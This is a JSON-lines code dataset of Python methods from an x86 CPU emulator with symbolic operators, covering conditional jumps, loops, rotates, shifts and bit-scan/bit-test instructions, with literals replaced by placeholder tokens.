{"signature": "@instruction<EOL><INDENT>def JNC(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, False == cpu.CF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not carry.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m131"}
{"signature": "@instruction<EOL><INDENT>def JNE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, False == cpu.ZF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m132"}
{"signature": "@instruction<EOL><INDENT>def JNG(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.OR(cpu.ZF, cpu.SF != cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not greater.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m133"}
{"signature": "@instruction<EOL><INDENT>def JNGE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, (cpu.SF != cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not greater or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m134"}
{"signature": "@instruction<EOL><INDENT>def JNL(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, (cpu.SF == cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not less.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m135"}
{"signature": "@instruction<EOL><INDENT>def JNLE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.AND(False == cpu.ZF, cpu.SF == cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not less or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m136"}
{"signature": "@instruction<EOL><INDENT>def JNO(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, False == cpu.OF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not overflow.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m137"}
{"signature": "@instruction<EOL><INDENT>def JNP(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, False == cpu.PF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not parity.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m138"}
{"signature": "@instruction<EOL><INDENT>def JNS(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, False == cpu.SF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not sign.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m139"}
{"signature": "def JNZ(cpu, target):", "body": "cpu.JNE(target)<EOL>", "docstring": "Jumps short if not zero.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m140"}
{"signature": "@instruction<EOL><INDENT>def JO(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.OF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if overflow.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m141"}
{"signature": "@instruction<EOL><INDENT>def JP(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.PF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if parity.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m142"}
{"signature": "@instruction<EOL><INDENT>def JPE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.PF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if parity even.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m143"}
{"signature": "@instruction<EOL><INDENT>def JPO(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, False == cpu.PF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if parity odd.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m144"}
{"signature": "@instruction<EOL><INDENT>def JS(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.SF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if sign.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m145"}
{"signature": "@instruction<EOL><INDENT>def JZ(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.ZF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if zero.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m146"}
{"signature": "@instruction<EOL><INDENT>def JMP(cpu, target):<DEDENT>", "body": "cpu.PC = target.read()<EOL>", "docstring": "Jump.\n\nTransfers program control to a different point in the instruction stream without\nrecording return information. The destination (target) operand specifies the address\nof the instruction being jumped to. This operand can be an immediate value, a general-purpose register, or a memory location.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m147"}
{"signature": "def LJMP(cpu, cs_selector, target):", "body": "logger.info(\"<STR_LIT>\", cs_selector.read(), target.read())<EOL>cpu.CS = cs_selector.read()<EOL>cpu.PC = target.read()<EOL>", "docstring": "We are just going to ignore the CS selector for now.", "id": "f16975:c2:m148"}
{"signature": "def LOOP(cpu, dest):", "body": "counter_name = {<NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[cpu.address_bit_size]<EOL>counter = cpu.write_register(counter_name, cpu.read_register(counter_name) - <NUM_LIT:1>)<EOL>cpu.PC = Operators.ITEBV(cpu.address_bit_size, counter == <NUM_LIT:0>, (cpu.PC + dest.read()) & ((<NUM_LIT:1> << dest.size) - <NUM_LIT:1>), cpu.PC + cpu.instruction.size)<EOL>", "docstring": "Loops according to ECX counter.\n\nPerforms a loop operation using the ECX or CX register as a counter.\nEach time the LOOP instruction is executed, the count register is decremented,\nthen checked for 0. If the count is 0, the loop is terminated and program\nexecution continues with the instruction following the LOOP instruction.\nIf the count is not zero, a near jump is performed to the destination\n(target) operand, which is presumably the instruction at the beginning\nof the loop. If the address-size attribute is 32 bits, the ECX register\nis used as the count register; otherwise the CX register is used::\n\n        IF address_bit_size  =  32\n        THEN\n            Count is ECX;\n        ELSE (* address_bit_size  =  16 *)\n            Count is CX;\n        FI;\n        Count  =  Count - 1;\n\n        IF (Count  0)  =  1\n        THEN\n            EIP  =  EIP + SignExtend(DEST);\n            IF OperandSize  =  16\n            THEN\n                EIP  =  EIP AND 0000FFFFH;\n            FI;\n        ELSE\n            Terminate loop and continue program execution at EIP;\n        FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m149"}
{"signature": "def LOOPNZ(cpu, target):", "body": "counter_name = {<NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[cpu.address_bit_size]<EOL>counter = cpu.write_register(counter_name, cpu.read_register(counter_name) - <NUM_LIT:1>)<EOL>cpu.PC = Operators.ITEBV(cpu.address_bit_size, counter != <NUM_LIT:0>, (cpu.PC + target.read()) & ((<NUM_LIT:1> << target.size) - <NUM_LIT:1>), cpu.PC + cpu.instruction.size)<EOL>", "docstring": "Loops if ECX counter is nonzero.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m150"}
{"signature": "@instruction<EOL><INDENT>def RCL(cpu, dest, src):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = src.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = Operators.ZEXTEND((count & countMask) % (src.size + <NUM_LIT:1>), OperandSize)<EOL>value = dest.read()<EOL>if isinstance(tempCount, int) and tempCount == <NUM_LIT:0>:<EOL><INDENT>new_val = value<EOL>dest.write(new_val)<EOL><DEDENT>else:<EOL><INDENT>carry = Operators.ITEBV(OperandSize, cpu.CF, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>right = value >> (OperandSize - tempCount)<EOL>new_val = (value << tempCount) | (carry << (tempCount - <NUM_LIT:1>)) | (right >> <NUM_LIT:1>)<EOL>dest.write(new_val)<EOL>def sf(v, size):<EOL><INDENT>return (v & (<NUM_LIT:1> << (size - <NUM_LIT:1>))) != <NUM_LIT:0><EOL><DEDENT>cpu.CF = sf(value << (tempCount - <NUM_LIT:1>), OperandSize)<EOL>cpu.OF = Operators.ITE(tempCount == <NUM_LIT:1>,<EOL>sf(new_val, OperandSize) != cpu.CF,<EOL>cpu.OF)<EOL><DEDENT>", "docstring": "Rotates through carry left.\n\nShifts (rotates) the bits of the first operand (destination operand) the number of bit positions specified in the\nsecond operand (count operand) and stores the result in the destination operand. The destination operand can be\na register or a memory location; the count operand is an unsigned integer that can be an immediate or a value in\nthe CL register. In legacy and compatibility mode, the processor restricts the count to a number between 0 and 31\nby masking all the bits in the count operand except the 5 least-significant bits.\n\nThe RCL instruction shifts the CF flag into the least-significant bit and shifts the most-significant bit into the CF flag.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m151"}
{"signature": "@instruction<EOL><INDENT>def RCR(cpu, dest, src):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = src.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = Operators.ZEXTEND((count & countMask) % (src.size + <NUM_LIT:1>), OperandSize)<EOL>value = dest.read()<EOL>if isinstance(tempCount, int) and tempCount == <NUM_LIT:0>:<EOL><INDENT>new_val = value<EOL>dest.write(new_val)<EOL><DEDENT>else:<EOL><INDENT>carry = Operators.ITEBV(OperandSize, cpu.CF, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>left = value >> (tempCount - <NUM_LIT:1>)<EOL>right = value << (OperandSize - tempCount)<EOL>new_val = (left >> <NUM_LIT:1>) | (carry << (OperandSize - tempCount)) | (right << <NUM_LIT:1>)<EOL>dest.write(new_val)<EOL>cpu.CF = Operators.ITE(tempCount != <NUM_LIT:0>, (left & <NUM_LIT:1>) == <NUM_LIT:1>, cpu.CF)<EOL>s_MSB = ((new_val >> (OperandSize - <NUM_LIT:1>)) & <NUM_LIT>) == <NUM_LIT:1><EOL>s_MSB2 = ((new_val >> (OperandSize - <NUM_LIT:2>)) & <NUM_LIT>) == <NUM_LIT:1><EOL>cpu.OF = Operators.ITE(tempCount == <NUM_LIT:1>,<EOL>s_MSB ^ s_MSB2, cpu.OF)<EOL><DEDENT>", "docstring": "Rotates through carry right (RCR).\n\nShifts (rotates) the bits of the first operand (destination operand) the number of bit positions specified in the\nsecond operand (count operand) and stores the result in the destination operand. The destination operand can be\na register or a memory location; the count operand is an unsigned integer that can be an immediate or a value in\nthe CL register. In legacy and compatibility mode, the processor restricts the count to a number between 0 and 31\nby masking all the bits in the count operand except the 5 least-significant bits.\n\nRotate through carry right (RCR) instructions shift all the bits toward less significant bit positions, except\nfor the least-significant bit, which is rotated to the most-significant bit location. The RCR instruction shifts the\nCF flag into the most-significant bit and shifts the least-significant bit into the CF flag.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m152"}
{"signature": "@instruction<EOL><INDENT>def ROL(cpu, dest, src):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = src.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = Operators.ZEXTEND((count & countMask) % (OperandSize), OperandSize)<EOL>value = dest.read()<EOL>newValue = (value << tempCount) | (value >> (OperandSize - tempCount))<EOL>dest.write(newValue)<EOL>cpu.CF = Operators.ITE(tempCount != <NUM_LIT:0>, (newValue & <NUM_LIT:1>) == <NUM_LIT:1>, cpu.CF)<EOL>s_MSB = ((newValue >> (OperandSize - <NUM_LIT:1>)) & <NUM_LIT>) == <NUM_LIT:1><EOL>cpu.OF = Operators.ITE(tempCount == <NUM_LIT:1>, s_MSB ^ cpu.CF, cpu.OF)<EOL>", "docstring": "Rotates left (ROL).\n\nShifts (rotates) the bits of the first operand (destination operand) the number of bit positions specified in the\nsecond operand (count operand) and stores the result in the destination operand. The destination operand can be\na register or a memory location; the count operand is an unsigned integer that can be an immediate or a value in\nthe CL register. In legacy and compatibility mode, the processor restricts the count to a number between 0 and 31\nby masking all the bits in the count operand except the 5 least-significant bits.\n\nThe rotate left shift all the bits toward more-significant bit positions, except for the most-significant bit, which\nis rotated to the least-significant bit location.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m153"}
{"signature": "@instruction<EOL><INDENT>def ROR(cpu, dest, src):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = src.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = Operators.ZEXTEND((count & countMask) % (OperandSize), OperandSize)<EOL>value = dest.read()<EOL>newValue = (value >> tempCount) | (value << (OperandSize - tempCount))<EOL>dest.write(newValue)<EOL>cpu.CF = Operators.ITE(tempCount != <NUM_LIT:0>, ((newValue >> (OperandSize - <NUM_LIT:1>)) & <NUM_LIT>) == <NUM_LIT:1>, cpu.CF)<EOL>s_MSB = ((newValue >> (OperandSize - <NUM_LIT:1>)) & <NUM_LIT>) == <NUM_LIT:1><EOL>s_MSB2 = ((newValue >> (OperandSize - <NUM_LIT:2>)) & <NUM_LIT>) == <NUM_LIT:1><EOL>cpu.OF = Operators.ITE(tempCount == <NUM_LIT:1>, s_MSB ^ s_MSB2, cpu.OF)<EOL>", "docstring": "Rotates right (ROR).\n\nShifts (rotates) the bits of the first operand (destination operand) the number of bit positions specified in the\nsecond operand (count operand) and stores the result in the destination operand. The destination operand can be\na register or a memory location; the count operand is an unsigned integer that can be an immediate or a value in\nthe CL register. In legacy and compatibility mode, the processor restricts the count to a number between 0 and 31\nby masking all the bits in the count operand except the 5 least-significant bits.\n\nThe rotate right (ROR) instruction shift all the bits toward less significant bit positions, except\nfor the least-significant bit, which is rotated to the most-significant bit location.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m154"}
{"signature": "@instruction<EOL><INDENT>def SAL(cpu, dest, src):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = src.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = Operators.ZEXTEND(count & countMask, dest.size)<EOL>tempDest = value = dest.read()<EOL>res = dest.write(Operators.ITEBV(dest.size, tempCount == <NUM_LIT:0>, tempDest, value << tempCount))<EOL>MASK = (<NUM_LIT:1> << OperandSize) - <NUM_LIT:1><EOL>SIGN_MASK = <NUM_LIT:1> << (OperandSize - <NUM_LIT:1>)<EOL>cpu.CF = Operators.OR(Operators.AND(tempCount == <NUM_LIT:0>, cpu.CF), Operators.AND(tempCount != <NUM_LIT:0>, (tempDest & (<NUM_LIT:1> << (OperandSize - tempCount)) != <NUM_LIT:0>)))<EOL>cpu.OF = Operators.ITE(tempCount != <NUM_LIT:0>, (cpu.CF) ^ (((res >> (OperandSize - <NUM_LIT:1>)) & <NUM_LIT>) == <NUM_LIT:1>), cpu.OF)<EOL>cpu.SF = Operators.OR(Operators.AND(tempCount == <NUM_LIT:0>, cpu.SF), Operators.AND(tempCount != <NUM_LIT:0>, (res & SIGN_MASK) != <NUM_LIT:0>))<EOL>cpu.ZF = Operators.OR(Operators.AND(tempCount == <NUM_LIT:0>, cpu.ZF), Operators.AND(tempCount != <NUM_LIT:0>, res == <NUM_LIT:0>))<EOL>cpu.PF = Operators.OR(Operators.AND(tempCount == <NUM_LIT:0>, cpu.PF), Operators.AND(tempCount != <NUM_LIT:0>, cpu._calculate_parity_flag(res)))<EOL>", "docstring": "The shift arithmetic left.\n\nShifts the bits in the first operand (destination operand) to the left or right by the number of bits specified in the\nsecond operand (count operand). Bits shifted beyond the destination operand boundary are first shifted into the CF\nflag, then discarded. At the end of the shift operation, the CF flag contains the last bit shifted out of the destination\noperand.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m155"}
{"signature": "def SHL(cpu, dest, src):", "body": "return cpu.SAL(dest, src)<EOL>", "docstring": "The shift logical left.\n\nThe shift arithmetic left (SAL) and shift logical left (SHL) instructions perform the same operation.\n\n:param cpu: current cpu.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m156"}
{"signature": "@instruction<EOL><INDENT>def SAR(cpu, dest, src):<DEDENT>", "body": "OperandSize = dest.size<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>count = src.read() & countMask<EOL>value = dest.read()<EOL>res = Operators.SAR(OperandSize, value, Operators.ZEXTEND(count, OperandSize))<EOL>dest.write(res)<EOL>SIGN_MASK = (<NUM_LIT:1> << (OperandSize - <NUM_LIT:1>))<EOL>if issymbolic(count):<EOL><INDENT>cpu.CF = Operators.ITE(Operators.AND(count != <NUM_LIT:0>, count <= OperandSize), ((value >> Operators.ZEXTEND(count - <NUM_LIT:1>, OperandSize)) & <NUM_LIT:1>) != <NUM_LIT:0>, cpu.CF)<EOL><DEDENT>else:<EOL><INDENT>if count != <NUM_LIT:0>:<EOL><INDENT>if count > OperandSize:<EOL><INDENT>count = OperandSize<EOL><DEDENT>cpu.CF = Operators.EXTRACT(value, count - <NUM_LIT:1>, <NUM_LIT:1>) != <NUM_LIT:0><EOL><DEDENT><DEDENT>cpu.ZF = Operators.ITE(count != <NUM_LIT:0>, res == <NUM_LIT:0>, cpu.ZF)<EOL>cpu.SF = Operators.ITE(count != <NUM_LIT:0>, (res & SIGN_MASK) != <NUM_LIT:0>, cpu.SF)<EOL>cpu.OF = Operators.ITE(count == <NUM_LIT:1>, False, cpu.OF)<EOL>cpu.PF = Operators.ITE(count != <NUM_LIT:0>, cpu._calculate_parity_flag(res), cpu.PF)<EOL>", "docstring": "Shift arithmetic right.\n\nThe shift arithmetic right (SAR) and shift logical right (SHR) instructions shift the bits of the destination operand to\nthe right (toward less significant bit locations). For each shift count, the least significant bit of the destination\noperand is shifted into the CF flag, and the most significant bit is either set or cleared depending on the instruction\ntype. The SHR instruction clears the most significant bit. the SAR instruction sets or clears the most significant bit\nto correspond to the sign (most significant bit) of the original value in the destination operand. In effect, the SAR\ninstruction fills the empty bit position's shifted value with the sign of the unshifted value\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m157"}
{"signature": "@instruction<EOL><INDENT>def SHR(cpu, dest, src):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = Operators.ZEXTEND(src.read() & (OperandSize - <NUM_LIT:1>), OperandSize)<EOL>value = dest.read()<EOL>res = dest.write(value >> count)  <EOL>MASK = (<NUM_LIT:1> << OperandSize) - <NUM_LIT:1><EOL>SIGN_MASK = <NUM_LIT:1> << (OperandSize - <NUM_LIT:1>)<EOL>if issymbolic(count):<EOL><INDENT>cpu.CF = Operators.ITE(count != <NUM_LIT:0>,<EOL>((value >> Operators.ZEXTEND(count - <NUM_LIT:1>, OperandSize)) & <NUM_LIT:1>) != <NUM_LIT:0>,<EOL>cpu.CF)<EOL><DEDENT>else:<EOL><INDENT>if count != <NUM_LIT:0>:<EOL><INDENT>cpu.CF = Operators.EXTRACT(value, count - <NUM_LIT:1>, <NUM_LIT:1>) != <NUM_LIT:0><EOL><DEDENT><DEDENT>cpu.ZF = Operators.ITE(count != <NUM_LIT:0>, res == <NUM_LIT:0>, cpu.ZF)<EOL>cpu.SF = Operators.ITE(count != <NUM_LIT:0>, (res & SIGN_MASK) != <NUM_LIT:0>, cpu.SF)<EOL>cpu.OF = Operators.ITE(count != <NUM_LIT:0>, ((value >> (OperandSize - <NUM_LIT:1>)) & <NUM_LIT>) == <NUM_LIT:1>, cpu.OF)<EOL>cpu.PF = Operators.ITE(count != <NUM_LIT:0>, cpu._calculate_parity_flag(res), cpu.PF)<EOL>", "docstring": "Shift logical right.\n\nThe shift arithmetic right (SAR) and shift logical right (SHR)\ninstructions shift the bits of the destination operand to the right\n(toward less significant bit locations). For each shift count, the\nleast significant bit of the destination operand is shifted into the CF\nflag, and the most significant bit is either set or cleared depending\non the instruction type. The SHR instruction clears the most\nsignificant bit.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m158"}
{"signature": "@instruction<EOL><INDENT>def SHRD(cpu, dest, src, count):<DEDENT>", "body": "OperandSize = dest.size<EOL>MASK = ((<NUM_LIT:1> << OperandSize) - <NUM_LIT:1>)<EOL>tempCount = Operators.ZEXTEND(count.read(), OperandSize) & (OperandSize - <NUM_LIT:1>)<EOL>if isinstance(tempCount, int) and tempCount == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>arg0 = dest.read()<EOL>arg1 = src.read()<EOL>res = Operators.ITEBV(OperandSize, tempCount == <NUM_LIT:0>, arg0, (arg0 >> tempCount) | (arg1 << (dest.size - tempCount)))<EOL>res = res & MASK<EOL>dest.write(res)<EOL>lastbit = <NUM_LIT:0> != (arg0 >> (tempCount - <NUM_LIT:1>)) & <NUM_LIT:1><EOL>cpu._set_shiftd_flags(OperandSize, arg0, res, lastbit, tempCount)<EOL><DEDENT>", "docstring": "Double precision shift right.\n\nShifts the first operand (destination operand) to the right the number of bits specified by the third operand\n(count operand). The second operand (source operand) provides bits to shift in from the left (starting with\nthe most significant bit of the destination operand).\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.\n:param count: count operand", "id": "f16975:c2:m160"}
{"signature": "@instruction<EOL><INDENT>def SHLD(cpu, dest, src, count):<DEDENT>", "body": "OperandSize = dest.size<EOL>tempCount = Operators.ZEXTEND(count.read(), OperandSize) & (OperandSize - <NUM_LIT:1>)<EOL>arg0 = dest.read()<EOL>arg1 = src.read()<EOL>MASK = ((<NUM_LIT:1> << OperandSize) - <NUM_LIT:1>)<EOL>t0 = (arg0 << tempCount)<EOL>t1 = arg1 >> (OperandSize - tempCount)<EOL>res = Operators.ITEBV(OperandSize, tempCount == <NUM_LIT:0>, arg0, t0 | t1)<EOL>res = res & MASK<EOL>dest.write(res)<EOL>if isinstance(tempCount, int) and tempCount == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>SIGN_MASK = <NUM_LIT:1> << (OperandSize - <NUM_LIT:1>)<EOL>lastbit = <NUM_LIT:0> != ((arg0 << (tempCount - <NUM_LIT:1>)) & SIGN_MASK)<EOL>cpu._set_shiftd_flags(OperandSize, arg0, res, lastbit, tempCount)<EOL><DEDENT>", "docstring": "Double precision shift right.\n\nShifts the first operand (destination operand) to the left the number of bits specified by the third operand\n(count operand). The second operand (source operand) provides bits to shift in from the right (starting with\nthe least significant bit of the destination operand).\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.\n:param count: count operand", "id": "f16975:c2:m161"}
{"signature": "def _getMemoryBit(cpu, bitbase, bitoffset):", "body": "assert bitbase.type == '<STR_LIT>'<EOL>assert bitbase.size >= bitoffset.size<EOL>addr = bitbase.address()<EOL>offt = Operators.SEXTEND(bitoffset.read(), bitoffset.size, bitbase.size)<EOL>offt_is_neg = offt >= (<NUM_LIT:1> << (bitbase.size - <NUM_LIT:1>))<EOL>offt_in_bytes = offt // <NUM_LIT:8><EOL>bitpos = offt % <NUM_LIT:8><EOL>new_addr = addr + Operators.ITEBV(bitbase.size, offt_is_neg, -offt_in_bytes, offt_in_bytes)<EOL>return (new_addr, bitpos)<EOL>", "docstring": "Calculate address and bit offset given a base address and a bit offset\n            relative to that address (in the form of asm operands)", "id": "f16975:c2:m162"}
{"signature": "@instruction<EOL><INDENT>def BSF(cpu, dest, src):<DEDENT>", "body": "value = src.read()<EOL>flag = Operators.EXTRACT(value, <NUM_LIT:0>, <NUM_LIT:1>) == <NUM_LIT:1><EOL>res = <NUM_LIT:0><EOL>for pos in range(<NUM_LIT:1>, src.size):<EOL><INDENT>res = Operators.ITEBV(dest.size, flag, res, pos)<EOL>flag = Operators.OR(flag, Operators.EXTRACT(value, pos, <NUM_LIT:1>) == <NUM_LIT:1>)<EOL><DEDENT>cpu.ZF = value == <NUM_LIT:0><EOL>dest.write(Operators.ITEBV(dest.size, cpu.ZF, dest.read(), res))<EOL>", "docstring": "Bit scan forward.\n\nSearches the source operand (second operand) for the least significant\nset bit (1 bit). If a least significant 1 bit is found, its bit index\nis stored in the destination operand (first operand). The source operand\ncan be a register or a memory location; the destination operand is a register.\nThe bit index is an unsigned offset from bit 0 of the source operand.\nIf the contents source operand are 0, the contents of the destination\noperand is undefined::\n\n            IF SRC  =  0\n            THEN\n                ZF  =  1;\n                DEST is undefined;\n            ELSE\n                ZF  =  0;\n                temp  =  0;\n                WHILE Bit(SRC, temp)  =  0\n                DO\n                    temp  =  temp + 1;\n                    DEST  =  temp;\n                OD;\n            FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m163"}
{"signature": "@instruction<EOL><INDENT>def BSR(cpu, dest, src):<DEDENT>", "body": "value = src.read()<EOL>flag = Operators.EXTRACT(value, src.size - <NUM_LIT:1>, <NUM_LIT:1>) == <NUM_LIT:1><EOL>res = <NUM_LIT:0><EOL>for pos in reversed(range(<NUM_LIT:0>, src.size)):<EOL><INDENT>res = Operators.ITEBV(dest.size, flag, res, pos)<EOL>flag = Operators.OR(flag, (Operators.EXTRACT(value, pos, <NUM_LIT:1>) == <NUM_LIT:1>))<EOL><DEDENT>cpu.PF = cpu._calculate_parity_flag(res)<EOL>cpu.ZF = value == <NUM_LIT:0><EOL>dest.write(Operators.ITEBV(dest.size, cpu.ZF, dest.read(), res))<EOL>", "docstring": "Bit scan reverse.\n\nSearches the source operand (second operand) for the most significant\nset bit (1 bit). If a most significant 1 bit is found, its bit index is\nstored in the destination operand (first operand). The source operand\ncan be a register or a memory location; the destination operand is a register.\nThe bit index is an unsigned offset from bit 0 of the source operand.\nIf the contents source operand are 0, the contents of the destination\noperand is undefined::\n\n        IF SRC  =  0\n        THEN\n            ZF  =  1;\n            DEST is undefined;\n        ELSE\n            ZF  =  0;\n            temp  =  OperandSize - 1;\n            WHILE Bit(SRC, temp)  =  0\n            DO\n                temp  =  temp - 1;\n                DEST  =  temp;\n            OD;\n        FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m164"}
{"signature": "@instruction<EOL><INDENT>def BT(cpu, dest, src):<DEDENT>", "body": "if dest.type == '<STR_LIT>':<EOL><INDENT>cpu.CF = ((dest.read() >> (src.read() % dest.size)) & <NUM_LIT:1>) != <NUM_LIT:0><EOL><DEDENT>elif dest.type == '<STR_LIT>':<EOL><INDENT>addr, pos = cpu._getMemoryBit(dest, src)<EOL>base, size, ty = cpu.get_descriptor(cpu.DS)<EOL>value = cpu.read_int(addr + base, <NUM_LIT:8>)<EOL>cpu.CF = Operators.EXTRACT(value, pos, <NUM_LIT:1>) == <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(f\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Bit Test.\n\nSelects the bit in a bit string (specified with the first operand, called the bit base) at the\nbit-position designated by the bit offset (specified by the second operand) and stores the value\nof the bit in the CF flag. The bit base operand can be a register or a memory location; the bit\noffset operand can be a register or an immediate value:\n    - If the bit base operand specifies a register, the instruction takes the modulo 16, 32, or 64\n      of the bit offset operand (modulo size depends on the mode and register size; 64-bit operands\n      are available only in 64-bit mode).\n    - If the bit base operand specifies a memory location, the operand represents the address of the\n      byte in memory that contains the bit base (bit 0 of the specified byte) of the bit string. The\n      range of the bit position that can be referenced by the offset operand depends on the operand size.\n\n:param cpu: current CPU.\n:param dest: bit base.\n:param src: bit offset.", "id": "f16975:c2:m165"}
